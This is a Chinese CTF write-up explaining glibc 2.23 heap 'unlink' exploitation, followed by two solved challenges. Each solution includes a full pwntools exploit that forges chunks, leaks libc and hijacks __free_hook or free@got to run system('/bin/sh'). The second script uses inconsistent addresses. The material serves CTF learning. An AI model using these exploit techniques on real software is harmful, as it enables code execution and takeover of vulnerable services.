原理
unlink这个名词是啥?
unlink其实是libc中定义的一个宏,在malloc.c(libc2.23)中定义如下:
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
unlink的实现(选自hollk师傅)
还是用前面堆释放的例子,依次释放了first_chunk、second_chunk、third_chunk,也就是说首先释放的是first,然后释放的是second,最后释放的是third。在双链表中的结构如下:
现在我们用的大多数linux都会对chunk状态进行检查,以免造成二次释放或者二次申请的问题。但是恰恰是这个检查的流程本身就存在一些问题,能够让我们进行利用。回顾一下以往我们做的题,大部分都是顺着原有的执行流程走,但是通过修改执行所用的数据来改变执行走向。unlink同样可以以这种方式进行利用,由于unlink是在free()函数中调用的,所以我们只看chunk空闲时都需要检查写什么
检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小
可以看左图绿色框中的内容,上面绿色框中的内容是second_chunk的size大小,下面绿色框中的内容是hollk5的prev_size,这两个绿色框中的数值是需要相等的(忽略P标志位)。在wiki上我记得在基础部分有讲过,如果一个块属于空闲状态,那么相邻高地址块的prev_size为前一个块的大小
检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0
可以看左图蓝色框中的内容,这里是hollk5的size,hollk5的size的P标志位为0,代表着它前一个chunk(second_chunk)为空闲状态(90而不是91)
检查3:检查前后被释放chunk的fd和bk
可以看左图红色框中的内容,这里是second_chunk的fd和bk。首先看fd,它指向的位置就是前一个被释放的块first_chunk,这里需要检查的是first_chunk的bk是否指向second_chunk的地址。再看second_chunk的bk,它指向的是后一个被释放的块third_chunk,这里需要检查的是third_chunk的fd是否指向second_chunk的地址
个人理解就是根据上述三个检查机制构造3个chunk(其实这三个都是fake_chunk),使3个chunk逻辑意义上相邻(通过精心构造fd bk指针--->检查3),然后通过free与chunk1物理意义相邻的chunk(大小满足unsortedbin),把chunk1合并到unsortedbin(脱链),这样chunk0和chunk2的fd和bk变成互相指向对方
chunk0_fd = chunk2_pre
chunk2_bk = chunk0_pre
但是由于脱链之前我们chunk0_fd和chunk2_bk都是指向chunk1_pre(俩值相等),所以最终执行结果是chunk2_pre = chunk0_pre,由于我们构造chunk0和chunk2时就是在chunk_data_list那里构造的(bss段,而且易满足检查3),所以我们unlink的最终效果就是在chunk_data_list那里虚构了一个chunk,从而实现任意地址写。
例题
做了题也就通透了
题目-[SUCTF 2018招新赛]unlink(nssctf)
标签:libc 2.23 unlink 堆溢出
保护
开了canary和NX
程序
add buf处于bss段,里面存放的是chunk_data_list(bss:0x6020c0)
del
show
edit 能溢出
思路
通过对该程序的反编译,我们发现存在存储malloc得到空间地址的指针序列,存放在bss段上,同时take_note存在溢出漏洞,可以出发unlink——将指针劫持到bss段上指针序列地址。同时malloc到的指针区域有着读写权限,这意味着我们可以通过unlink达到任意地址读写的极高权限!
很明显:
1.unlink
2.__free_hook劫持
unlink
touch(0x20)
touch(0x80)
touch(0x100)
先申请三个堆块
看一下chunk_data_list :0x6020c0
可以看到三个chunk的data段起始地址(chunk的地址+0x10)都已经放入chunk_data_list中了
buf=0x6020c0
#fake_chunk
prev_size=p64(0)
chunk_size=p64(0x20)
fd=buf-0x18
bk=buf-0x10
content=p64(fd)+p64(bk)
of_prev_size=p64(0x20)
of_chunk_size=p64(0x90)
payload=prev_size+chunk_size+content+of_prev_size+of_chunk_size
take_note(0,payload)
在chunk1内构造second_chunk(蓝框),通过伪造它的fd bk,构造一个让系统误以为存在一条third_chunk -> second_chunk ->first_chunk 的fackchunk链
third_chunk(两个红框分别为fd bk)
first_chunk
这样很明显我们是利用{存在存储malloc得到空间地址的指针序列,存放在bss段上}这一题目特点,在chunk_data_list这里利用0x8的空间差巧妙构造了两个fakecchunk,并且绕过了检查。
同时
of_prev_size=p64(0x20)
of_chunk_size=p64(0x90)
修改chunk1的chunk头,使second_chunk变成free状态,便于chunk1free后与其合并
delete(1)
chunk1(0x90)free后进入unsortedbin,同时发现其物理相邻的second_chunk为free状态,于是与其合并,造成second_chunk从third_chunk -> second_chunk ->first_chunk 的fakechunk链中脱链。变成third_chunk ->first_chunk
合并, 0x20 + 0x90 = 0xb0
经过unlink操作后,chunk_data_list变成了这样
这样我们再往chunk0内写内容,其实是从0x6020a8开始写的。
泄露libc
payload=p64(0)*3+p64(0x6020c8)
take_note(0,payload) #这里其实是在向0x6020a8中写入数据了
为了方便后续任意地址写,我们微操一下布局
绿框其实是原chunk1data地址,我们通过往0x6020c8里面写内容(利用chunk0),把chunk1的data位地址改成puts_got,再show chunk1,就能打印出puts_got里面的内容。进而获取libc。
take_note(0,payload) #这里其实是在向0x6020a8中写入数据了
payload=p64(elf.got['puts'])
take_note(0,payload) #这里是在向0x6020c8中写入数据
show(1) #打印0x6020c8中的数据
puts_addr=u64(io.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
print(hex(puts_addr))
libc=ELF("./libc-2.23.so")
libc_base=puts_addr-libc.sym['puts']
free_hook=libc_base+libc.sym['__free_hook']
bin_sh_str=libc_base+next(libc.search(b'/bin/sh\x00'))
由于没本地libc,后面调不动了,就都用这张图了。
劫持free_hook
payload=p64(free_hook)+p64(bin_sh_str)
take_note(0,payload)
system=libc_base+libc.sym['system']
take_note(1,p64(system))
delete(2)
此时执行free(chunk2),其实free的参数是binsh,看ida
free的是chunk_data_list
exp
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io=process("./service")
elf=ELF("./service")
#io=remote("node4.anna.nssctf.cn",28771)
def debug():
gdb.attach(io, 'b *0x400BC2')
pause()
def touch(size):
io.recvuntil(b"please chooice :\n")
io.sendline(str(1))
io.recvuntil(b"please input the size : \n")
io.sendline(str(size))
def delete(index):
io.recvuntil(b"please chooice :\n")
io.sendline(str(2))
io.recvuntil(b"which node do you want to delete\n")
io.sendline(str(index))
def show(index):
io.recvuntil(b"please chooice :\n")
io.sendline(str(3))
io.recvuntil(b"want to show")
io.sendline(str(index))
io.recvuntil(b'is : ')
def take_note(index,content):
io.sendlineafter(b'chooice :\n',b'4')
io.sendlineafter(b'modify :\n',str(index).encode())
io.sendafter(b'content\n',content)
touch(0x20)
touch(0x80)
touch(0x100)
#debug()
buf=0x6020c0
#fake_chunk
prev_size=p64(0)
chunk_size=p64(0x20)
fd=buf-0x18
bk=buf-0x10
content=p64(fd)+p64(bk)
of_prev_size=p64(0x20)
of_chunk_size=p64(0x90)
payload=prev_size+chunk_size+content+of_prev_size+of_chunk_size
take_note(0,payload)
delete(1)
#debug()
payload=p64(0)*3+p64(0x6020c8)
take_note(0,payload) #这里其实是在向0x6020a8中写入数据了
payload=p64(elf.got['puts'])
take_note(0,payload) #这里是在向0x6020c8中写入数据
show(1) #打印0x6020c8中的数据
puts_addr=u64(io.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
print(hex(puts_addr))
libc=ELF("./libc-2.23.so")
libc_base=puts_addr-libc.sym['puts']
free_hook=libc_base+libc.sym['__free_hook']
bin_sh_str=libc_base+next(libc.search(b'/bin/sh\x00'))
payload=p64(free_hook)+p64(bin_sh_str)
take_note(0,payload)
system=libc_base+libc.sym['system']
take_note(1,p64(system))
delete(2)
io.interactive()
题目-offbyone-unlink
标签:libc2.23 unlink off by one
与上一题最大的区别就是堆溢出换成了off by one,不过问题不大,只需要在add时微操一下就行
保护
可以修改got表
程序
标准菜单题,和上一题一样,只不过堆溢出变成了off by one
思路
总结了一下,unlink有两大条件
1、bss段有chunk_data_list
2、off by one & 堆溢出
unlink
new(0x108,'zzz')##第一个chunk为了覆盖下面的chunk(pre位)所以是0x100+8,8就是这个目的
new(0xf0,'aaa')
new(0x100,'/bin/sh\x00')##为了与topchunk隔开
注意区别 0x108
payload=p64(0)+p64(0x101) + p64(data_addr-0x18)+p64(data_addr-0x10) #这个是根据offbyone伪造的chunk,p64(0)是pre,p64(0x101)是size#这个就是根据上面的公式,无脑-0x18和-0x10
payload=payload.ljust(0x100,b'a')+p64(0x100)+p8(0)
#这个p64(0x100)是覆盖下一个chunk的pre位,触发unsorted bin向前合并
#这个p8(0)是offbyone覆盖下一个chunk的size低位
edit(0,payload)
绕过保护,构造fakechunk链
delete(1)
脱链
此时的chunk_data_list
泄露libc
edit(0,p64(0)*3+p64(data_addr-0x18)+p64(0x602018))
dbg()
show(1)
leak=u64(p.recv(6).ljust(8,b'\x00'))
libc_base=leak-0x84540
log.info(hex(libc_base))
打印出free函数的got表项
getshell
free_hook=0x84540+libc_base
edit(0,p64(0)*3+p64(0x6020c0-0x18)+p64(0x602018))
#由于free的参数是chunk里面的东西,我们只需要把参数写上'/bin/sh',再改写free_hook为system,就可以getshell
#edit(1,p64(0x453a0+libc_base)[:7])
edit(1,p64(0x453a0+libc_base))
delete(2)
把free_got改成system
exp
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = process('./heap2')
libc = ELF('/home/gsnb/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def dbg():
gdb.attach(p, 'b *0x400C4E')
pause()
def new(s,c):
p.recvuntil('>')
p.sendline('1')
p.recvuntil('size')
p.sendline(str(s))
p.recvuntil('data')
p.send(c)
def delete(i):
p.recvuntil('>')
p.sendline('2')
p.recvuntil('index')
p.sendline(str(i))
def show(i):
p.recvuntil('>')
p.sendline('3')
p.recvuntil('index?')
p.sendline(str(i))
def edit(i,s):
p.recvuntil('>')
p.sendline('4')
p.recvuntil('index?')
p.sendline(str(i))
p.recvuntil('data')
p.send(s)
data_addr=0x602120
new(0x108,'zzz')##第一个chunk为了覆盖下面的chunk(pre位)所以是0x100+8,8就是这个目的
new(0xf0,'aaa')
new(0x100,'/bin/sh\x00')##为了与topchunk隔开
payload=p64(0)+p64(0x101) + p64(data_addr-0x18)+p64(data_addr-0x10) #这个是根据offbyone伪造的chunk,p64(0)是pre,p64(0x101)是size#这个就是根据上面的公式,无脑-0x18和-0x10
payload=payload.ljust(0x100,b'a')+p64(0x100)+p8(0)
#这个p64(0x100)是覆盖下一个chunk的pre位,触发unsorted bin向前合并
#这个p8(0)是offbyone覆盖下一个chunk的size低位
edit(0,payload)
delete(1)
edit(0,p64(0)*3+p64(data_addr-0x18)+p64(0x602018))
dbg()
show(1)
leak=u64(p.recv(6).ljust(8,b'\x00'))
libc_base=leak-0x84540
log.info(hex(libc_base))
free_hook=0x84540+libc_base
edit(0,p64(0)*3+p64(0x6020c0-0x18)+p64(0x602018))
#由于free的参数是chunk里面的东西,我们只需要把参数写上'/bin/sh',再改写free_hook为system,就可以getshell
#edit(1,p64(0x453a0+libc_base)[:7])
edit(1,p64(0x453a0+libc_base))
delete(2)
p.interactive()